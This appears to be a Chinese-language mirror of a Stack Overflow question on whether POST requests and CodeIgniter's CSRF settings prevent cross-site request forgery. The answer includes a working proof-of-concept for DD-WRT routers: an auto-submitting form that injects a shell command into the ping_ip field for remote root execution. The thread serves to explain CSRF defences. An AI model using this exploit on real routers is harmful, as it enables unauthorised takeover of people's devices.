我有一些像http://mysite.com/module/45/set_name/new-name我的应用程序中的URL ,旨在使用ajax访问.
为了防止XSRF,我强制要求这样的POST请求.随着GET它的琐碎使用下面生成一个XSRF:
<img src="http://mysite.com/module/45/set_name/new-name"/>
Run Code Online (Sandbox Code Playgroud)
使用POST可以防止这种特殊攻击,但这实际上比使用更安全GET吗?如果没有,还有什么可以/应该做的?
谢谢.
编辑:我正在使用CodeIgniter并在我的配置中有以下内容:
$config['csrf_protection'] = TRUE;
$config['csrf_token_name'] = 'csrf_test_name';
$config['csrf_cookie_name'] = 'csrf_cookie_name';
$config['csrf_expire'] = 3600;
Run Code Online (Sandbox Code Playgroud)
我安全吗?拥有CSRF是否有任何缺点?表格除了一小时后到期?
不修改帖子并不能解决这个问题。您应该阅读跨站请求伪造 (CSRF) 预防备忘单。
这是我编写的基于 CSRF 漏洞的 Cocnept POST 证明示例。这使您可以远程 root 访问 DD-WRT:
<html>
<form method="post" action="http://192.168.1.1/apply.cgi" id=1>
<input name="submit_button" value="Ping" type="hidden">
<input name="action" value="ApplyTake" type="hidden">
<input name="submit_type" value="start" type="hidden">
<input name="change_action" value="gozila_cgi" type="hidden">
<input name="next_page" value="Diagnostics.asp" type="hidden">
<input name="ping_ip" value="echo owned">
<input name="execute command" type="submit">
</form>
</html>
<script>
document.getElementById(1).submit();//remote root command execution!
</script>
Run Code Online (Sandbox Code Playgroud)
| 归档时间: |
|
| 查看次数: |
951 次 |
| 最近记录: |